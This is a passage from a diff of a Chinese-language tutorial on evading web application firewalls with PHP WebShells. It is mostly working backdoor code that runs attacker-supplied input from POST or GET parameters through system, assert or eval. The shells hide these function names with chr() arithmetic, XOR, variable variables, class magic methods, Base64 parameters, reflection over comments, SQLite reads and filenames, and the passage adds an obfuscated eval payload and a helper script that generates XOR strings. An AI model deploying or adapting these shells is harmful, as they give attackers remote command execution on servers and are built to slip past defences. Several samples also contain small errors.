     869 +//ASCII编码解密后为assert高危函数
     870 +$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
     871 +call_user_func_array($f, array($_POST['aabyss']));
     872 +```
     873 + 
     874 +### 4.2 array_map()
     875 + 
     876 +```php
     877 +function fun() {
     878 + //ASCII编码解密后为assert高危函数
     879 + $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
     880 + return ''.$f;
     881 +}
     882 +$user = fun(); //拿到assert高危函数
     883 +$pass =array($_POST['aabyss']);
     884 +array_map($user,$user = $pass );
     885 +```
     886 + 
     887 +回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用
     888 + 
     889 +## 5# 可变变量绕过
     890 + 
     891 +### 5.1 简单可变变量
     892 + 
     893 +什么叫可变变量呢?看一下具体例子就明白了:
     894 + 
     895 +```php
     896 +$f = 'hello'; //变量名为f,变量值为Hello
     897 +$$z = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG
     898 +echo $hello; //输出AabyssZG
     899 +```
     900 + 
     901 +那要怎么利用这个特性呢?如下:
     902 + 
     903 +```php
     904 +$f ='hello';
     905 +$$z = $_POST['aabyss'];
     906 +eval($hello); //eval($_POST['aabyss']);
     907 +```
     908 + 
     909 +### 5.2 数组+变量引用混淆
     910 + 
     911 +上文提到,可以通过 `compact` 创建一个包含变量名和它们的值的数组
     912 + 
     913 +那就可以用 `compact` 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可
     914 + 
     915 +```php
     916 +$z = "system"; //配合其他姿势,将system高危函数传给z
     917 +$zhixin = &$z;
     918 +$event = 'hahaha';
     919 + 
     920 +$result = compact("event", "zhixin"); //通过compact创建数组
     921 +$z = 'wahaha'; //我将变量z进行修改为'wahaha'
     922 + 
     923 +$f = $result['zhixin'];
     924 +$f($_POST['aabyss']); //system($_POST['aabyss']);
     925 +```
     926 + 
     927 +根据5.1学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的
     928 + 
     929 +于是先用变量 `zhixin` 来引用变量 `z` 然后通过 `compact` 创建为数组,接下来再将变量 `z` 附上新的内容 `wahaha` ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 `system` 而是 `wahaha` ,从而达到WebShell免杀
     930 + 
     931 +## 6# 数组绕过
     932 + 
     933 +先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接
     934 + 
     935 +### 6.1 一维数组
     936 + 
     937 +```php
     938 +$f = substr_replace("systxx","em",4); //system(高危函数)
     939 +$z = array($array = array('a'=>$f($_GET['aabyss'])));
     940 +var_dump($z);
     941 +```
     942 + 
     943 +数组内容如下:
     944 + 
     945 +```php
     946 +Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
     947 +```
     948 + 
     949 +### 6.2 二维数组
     950 + 
     951 +```php
     952 +$f = substr_replace("systxx","em",4); //system(高危函数)
     953 +$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));
     954 +var_dump($z);
     955 +```
     956 + 
     957 +## 7# 类绕过
     958 + 
     959 +通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行
     960 + 
     961 +### 7.1 单类
     962 + 
     963 +```php
     964 +class Test
     965 +{
     966 + public $_1='';
     967 + function __destruct(){
     968 + system("$this->a");
     969 + }
     970 +}
     971 +$_2 = new Test;
     972 +$_2->$_1 = $_POST['aabyss'];
     973 +```
     974 + 
     975 +### 7.2 多类
     976 + 
     977 +```php
     978 +class Test1
     979 +{
     980 + public $b ='';
     981 + function post(){
     982 + return $_POST['aabyss'];
     983 + }
     984 +}
     985 +class Test2 extends Test1
     986 +{
     987 + public $code = null;
     988 + function __construct(){
     989 + $code = parent::post();
     990 + system($code);
     991 + }
     992 +}
     993 +$fff = new Test2;
     994 +$zzz = new Test1;
     995 +```
     996 + 
     997 +主要还是要用一些魔术方法来进行ByPass
     998 + 
     999 +## 8# 嵌套运算绕过
     1000 + 
     1001 +主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 `system` ,然后动态执行恶意代码之即可
     1002 + 
     1003 +### 8.1 异或
     1004 + 
     1005 +`^` 为异或运算符,在PHP中两个变量进行异或时,会将字符串转换成二进制再进行异或运算,运算完再将结果从二进制转换成了字符串
     1006 + 
     1007 +```php
     1008 +$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数
     1009 +$f($_POST['aabyss']);
     1010 +```
     1011 + 
     1012 +这里的话,可以参考国光大佬的Python脚本生成异或结果,然后来替换即可:`python3 xxx.py > results.txt`
     1013 + 
     1014 +```python
     1015 +import string
     1016 +from urllib.parse import quote
     1017 + 
     1018 +keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
     1019 +results = []
     1020 + 
     1021 + 
     1022 +for i in keys:
     1023 + for j in keys:
     1024 + asscii_number = i^j
     1025 + if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
     1026 + if i < 32 and j < 32:
     1027 + temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
     1028 + results.append(temp)
     1029 + elif i < 32 and j >=32:
     1030 + temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
     1031 + results.append(temp)
     1032 + elif i >= 32 and j < 32:
     1033 + temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
     1034 + results.append(temp)
     1035 + else:
     1036 + temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
     1037 + results.append(temp)
     1038 + 
     1039 +results.sort(key=lambda x:x[1], reverse=False)
     1040 + 
     1041 +for low_case in string.ascii_lowercase:
     1042 + for result in results:
     1043 + if low_case in result:
     1044 + print(result[0])
     1045 + 
     1046 +for upper_case in string.ascii_uppercase:
     1047 + for result in results:
     1048 + if upper_case in result:
     1049 + print(result[0])
     1050 +```
     1051 + 
     1052 +### 8.2 嵌套运算
     1053 + 
     1054 +其实嵌套运算在WebShell免杀中算是常客了,让我们来看一下一个 `phpinfo()` 的嵌套运算
     1055 + 
     1056 +```php
     1057 +$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
     1058 +$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
     1059 + 
     1060 +eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
     1061 +```
     1062 + 
     1063 +加密手法可以看我写的博客: [https://blog.zgsec.cn/index.php/archives/147/](https://blog.zgsec.cn/index.php/archives/147/)
     1064 + 
     1065 +## 9# 传参绕过
     1066 + 
     1067 +将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别
     1068 + 
     1069 +### 9.1 Base64传参
     1070 + 
     1071 +```php
     1072 +$decrpt = $_REQUEST['a'];
     1073 +$decrps = $_REQUEST['b'];
     1074 +$arrs = explode("|", $decrpt)[1];
     1075 +$arrs = explode("|", base64_decode($arrs));
     1076 +$arrt = explode("|", $decrps)[1];
     1077 +$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
     1078 +```
     1079 + 
     1080 +传参内容:
     1081 + 
     1082 +```php
     1083 +a=c3lzdGVt //system的base64加密
     1084 +b=d2hvYW1p //whoami的base64加密
     1085 +```
     1086 + 
     1087 +也可以尝试使用其他编码或者加密方式进行传参
     1088 + 
     1089 +### 9.2 函数构造传参
     1090 + 
     1091 +可以用一些定义函数的函数来进行传参绕过,比如使用 `register_tick_function()` 这个函数
     1092 + 
     1093 +```php
     1094 +register_tick_function ( callable $function [, mixed $... ] ) : bool
     1095 +```
     1096 + 
     1097 +例子如下:
     1098 + 
     1099 +```php
     1100 +$f = $_REQUEST['f'];
     1101 +declare(ticks=1);
     1102 +register_tick_function ($f, $_REQUEST['aabyss']);
     1103 +```
     1104 + 
     1105 +## 10# 自定义函数绕过
     1106 + 
     1107 +通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行
     1108 + 
     1109 +### 10.1 简单自定义函数
     1110 + 
     1111 +这个要与其他的姿势进行结合,目前没办法通过简单自定义函数进行免杀
     1112 + 
     1113 +```php
     1114 +function out($b){
     1115 + return $b;
     1116 +}
     1117 +function zhixin($a){
     1118 + return system($a);
     1119 +}
     1120 +function post(){
     1121 + return $_POST['aabyss'];
     1122 +}
     1123 + 
     1124 +function run(){
     1125 + return out(zhixin)(out(post()));
     1126 +}
     1127 + 
     1128 +run();
     1129 +```
     1130 + 
     1131 +### 10.2 读取已定义函数
     1132 + 
     1133 + 
     1134 +获取某个类的全部已定义的常量,不管可见性如何定义
     1135 + 
     1136 +```php
     1137 +public ReflectionClass::getConstants(void) : array
     1138 +```
     1139 + 
     1140 +例子如下:
     1141 + 
     1142 +```php
     1143 +class Test
     1144 +{
     1145 + const a = 'Sy';
     1146 + const b = 'st';
     1147 + const c = 'em';
     1148 +
     1149 + public function __construct(){
     1150 + }
     1151 +}
     1152 + 
     1153 +$para1;
     1154 +$para2;
     1155 +$reflector = new ReflectionClass('Test');
     1156 + 
     1157 +for ($i=97; $i <= 99; $i++) {
     1158 + $para1 = $reflector->getConstant(chr($i));
     1159 + $para2.=$para1;
     1160 +}
     1161 + 
     1162 +foreach (array('_POST','_GET') as $_request) {
     1163 + foreach ($$_request as $_key=>$_value) {
     1164 + $$_key= $_value;
     1165 + }
     1166 +}
     1167 + 
     1168 +$para2($_value);
     1169 +```
     1170 + 
     1171 +## 11# 读取字符串绕过
     1172 + 
     1173 +重点还是放在高危函数上,通过读取各种东西来获得对应字符串
     1174 + 
     1175 +### 11.1 读取注释
     1176 + 
     1177 +这里用到读取注释的函数
     1178 + 
     1179 +```php
     1180 +ReflectionClass::getDocComment
     1181 +```
     1182 + 
     1183 +例子如下:
     1184 + 
     1185 +```php
     1186 + /**
     1187 + * system($_GET[aabyss]);
     1188 + */
     1189 +class User { }
     1190 +$user = new ReflectionClass('User');
     1191 +$comment = $user->getDocComment();
     1192 +$f = substr($comment , 14 , 22);
     1193 +eval($f);
     1194 +```
     1195 + 
     1196 +### 11.2 读取数据库
     1197 + 
     1198 +可以通过 `file_put_contents` 文件写入函数写入一个Sqlite的数据库
     1199 + 
     1200 +```php
     1201 +$datatest = "[文件的base64编码]";
     1202 +file_put_contents('./要写入的文件名', base64_decode($datatest));
     1203 +```
     1204 + 
     1205 +然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果
     1206 + 
     1207 +```php
     1208 +$path = "数据库文件名"
     1209 + 
     1210 +$db = new PDO("sqlite:" . $path);
     1211 + 
     1212 +$sql_stmt = $db->prepare('select * from test where name="system"');
     1213 +$sql_stmt->execute();
     1214 + 
     1215 +$f = substr($sql_stmt->queryString, -7, 6);
     1216 +$f($_GET['b']);
     1217 +```
     1218 + 
     1219 +### 11.3 读取目录
     1220 + 
     1221 +`FilesystemIterator` 是一个迭代器,可以获取到目标目录下的所有文件信息
     1222 + 
     1223 +```php
     1224 +public FilesystemIterator::next ( void ) : void
     1225 +```
     1226 + 
     1227 +可以尝试使用 `file_put_contents` 写入一个名为 `system.aabyss` 的空文件,然后遍历目录拿到字符串 `system` ,成功ByPass
     1228 + 
     1229 +```php
     1230 +$fi = new FilesystemIterator(dirname(__FILE__));
     1231 +$f = '';
     1232 +foreach($fi as $i){
     1233 + if (substr($i->__toString(), -6,6)=='aabyss') //判断后缀名为.aabyss的文件(其他特殊后缀也行)
     1234 + $f = substr($i->__toString(), -13,6); //从system.aabyss提取出system高危函数
     1235 +}
     1236 +$f($_GET['b']);
     1237 +```
     1238 + 
     1239 +为什么要写入为 `system.aabyss` 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了
     1240 + 
     1241 + 
     1242 +# 四,总结
     1243 + 
     1244 +上面分享了诸多姿势,重点还是灵活依靠思路和姿势,通过活用各种特性和函数来和WAF对抗,相信你自己也可以的!
     1245 + 
     1246 +在写这个整理的文档的时候,也收获颇多,希望各位师傅能认真研读,小人不才望大佬多加指正
     1247 + 
     1248 +其实在我个人的眼里,安全对抗其实就是人与人之间的灵魂、思维在碰撞和对抗,我一直执着于这个过程,也欢迎各位师傅和我互相学习、共同进步哈哈~
     1249 + 
     1250 + 
     1251 + 
     1252 +我的个人Github: [https://github.com/AabyssZG/](https://github.com/AabyssZG/)
     1253 + 
     1254 +最后,也欢迎各位师傅关注我们团队公众号啦
     1255 + 
     1256 +![微信公众号.png](https://blog.zgsec.cn/usr/uploads/2023/03/1432310138.png)
    3 1257   
Please wait...
Page is in error, reload to recover